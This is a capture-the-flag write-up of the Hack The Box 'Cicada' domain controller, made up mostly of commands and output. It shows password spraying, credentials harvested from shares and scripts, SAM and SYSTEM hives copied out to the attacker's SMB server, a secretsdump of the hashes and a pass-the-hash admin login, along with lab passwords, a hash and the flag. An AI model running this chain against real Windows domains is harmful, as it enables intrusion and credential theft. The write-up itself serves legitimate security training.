Hack The Box Cicada Writeup (Easy Windows)
Easy Windows AD box. An SMB share leaks the new hire default password, a user description hides another, and Backup Operators dumps SAM for the admin hash.
Hack The Box Cicada Writeup (Easy Windows)
Summary
Cicada is an easy Windows domain controller that never needs an exploit, only credentials that keep falling out of the environment. A guest readable HR share holds Notice from HR.txt with the default password handed to new employees, and an RID bruteforce through NetExec builds a user list that a password spray narrows to michael.wrightson. Enumerating users as that account reveals david.orelious storing a password in the AD description field, which grants read access to the DEV share and a PowerShell backup script containing the cleartext password for emily.oscars. BloodHound shows emily.oscars can PSRemote onto the DC, and once in over Evil-WinRM the account holds SeBackupPrivilege as a member of Backup Operators. Saving the SAM and SYSTEM hives, pulling them down and running secretsdump yields the built-in Administrator NT hash, which a pass-the-hash WinRM login turns into full control of the domain controller.
Credential Storage
1
2
3
4
michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
david.orelious:aRt$Lp#7t*VQ!3
emily.oscars:Q!3@Lp#M6b*7t*Vt
Administrator:2b87e7c93a3e8a0ea4a581937016f341
BS01: Default Credentials
Explanation: During initial reconnaissance of the SMB server, it was possible to locate a text file in one of the shares. This text file contains a message from the internal team, and contains a default password that is assigned to new employees’ accounts.
With this information, we performed username enumeration via RID bruteforcing and performed a password spraying attack. The user michael.wrightson was found to be using the default password assigned by the organization.
Steps to Reproduce:
- Enumerate shares:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ smbclient -L //cicada.htb/
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to cicada.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
- Connect to the HR share, get the text file and read it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~]
└─$ smbclient //cicada.htb/HR
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 409599 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \> exit
┌──(kali㉿kali)-[~]
└─$ cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
We tried to enumerate usernames through Kerberos using the tool kerbrute, but got no success.
Performing an RID bruteforce via the tool NetExec, we got some valid usernames
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ crackmapexec smb cicada.htb -u 'guest' -p '' --rid-brute 5000
SMB CICADA-DC.cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB CICADA-DC.cicada.htb 445 CICADA-DC [+] cicada.htb\guest:
SMB CICADA-DC.cicada.htb 445 CICADA-DC [+] Brute forcing RIDs
SMB CICADA-DC.cicada.htb 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB CICADA-DC.cicada.htb 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
- Filtering the output down, we get these users:
1
2
3
4
5
6
7
8
9
10
$ cat users.txt
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
- Performing a password spraying attack against these users, we get a single hit:
1
2
3
4
5
6
7
8
9
10
11
$ nxc smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
BS02: Sensitive Information Exposure
Explanation: During further enumeration, we noticed that user “CICADA\david.orelious” used their user’s description field to note down their password. We tested the uncovered password, and it is valid, allowing us to take control over this user.
Steps to Reproduce:
- Enumerate users using previously found credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb CICADA-DC.cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.35 445 CICADA-DC Administrator 2024-08-26 20:08:03 0 Built-in account for administering the computer/domain
SMB 10.10.11.35 445 CICADA-DC Guest 2024-08-28 17:26:56 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.35 445 CICADA-DC krbtgt 2024-03-14 11:14:10 0 Key Distribution Center Service Account
SMB 10.10.11.35 445 CICADA-DC john.smoulder 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC david.orelious 2024-03-14 12:17:29 0 Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC emily.oscars 2024-08-22 21:20:17 0
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated 8 local users: CICADA
- From the output above, we can see the description field for the user ‘david.orelious’. Testing the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
BS03: Hardcoded Credentials - Backup Script
Explanation: After obtaining the credentials for “david.orelious”, we were able to abuse their privileges to access the “DEV” SMB share. Inside this share we located a powershell script that performs backup activities. The script contains the hardcoded password for the user “emily.oscars”.
Steps to Reproduce:
Obtain the credentials for “david.orelious” following previous steps
Access the “DEV” share and download the backup script
The backup script reads as follows:
1
2
3
4
5
6
7
8
9
10
11
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
BS04: Vertical Privilege Escalation - Backup Operators
Explanation: User “emily.oscars” is member of the “Backup Operators” group. By compromising this user, it was possible to abuse their membership in this privileged group in order to create a backup of SAM and SYSTEM registry hives, and compromise password hashes for built-in accounts such as “Administrator”. Using a “pass-the-hash” technique, it was possible to log in to the administrator account without needing to know their cleartext password value.
Steps to Reproduce:
- From the attacking box, perform a bloodhound scan
1
$ bloodhound-python -c All -d cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -ns 10.10.11.35
- Reading the output in Bloodhound, we notice that “emily.oscars” has the CanPSRemote privilege over CICADA-DC.cicada.htb machine. Log in using evil-winrm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
- Save the registry hives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> reg save hklm\sam c:\Windows\Tasks\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> reg save hklm\system c:\Windows\Tasks\SYSTEM
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd C:\windows\tasks
*Evil-WinRM* PS C:\windows\tasks> dir
Directory: C:\windows\tasks
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/28/2024 12:40 AM 49152 SAM
-a---- 10/28/2024 12:40 AM 18518016 SYSTEM
- Fire up a smb server in your attacking machine
1
2
3
4
5
6
7
8
$ impacket-smbserver -smb2support -username bsec -password 'BehindSecurity2024!' bsec .
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
- Mount your SMB share in the victim machine
1
2
net use B: /user:bsec \\10.10.14.4\bsec 'BehindSecurity2024!'
The command completed successfully.
- Copy the registry hives to your SMB mount share
1
2
3
4
*Evil-WinRM* PS C:\windows\tasks> copy SAM B:\SAM
*Evil-WinRM* PS C:\windows\tasks> copy SYSTEM B:\SYSTEM
*Evil-WinRM* PS C:\windows\tasks> net use B: /delete
B: was deleted successfully.
- Locally, use secretsdump to uncover password hashes
1
2
3
4
5
6
7
8
9
10
$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
- Log in to the DC as Administrator:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ evil-winrm -i cicada.htb -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\users\administrator
*Evil-WinRM* PS C:\users\administrator> cd desktop
*Evil-WinRM* PS C:\users\administrator\desktop> dir
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/27/2024 1:28 PM 34 root.txt
*Evil-WinRM* PS C:\users\administrator\desktop> type root.txt
a52832b94e099f82739580501a5b9e3d
This post is licensed under CC BY 4.0 by the author.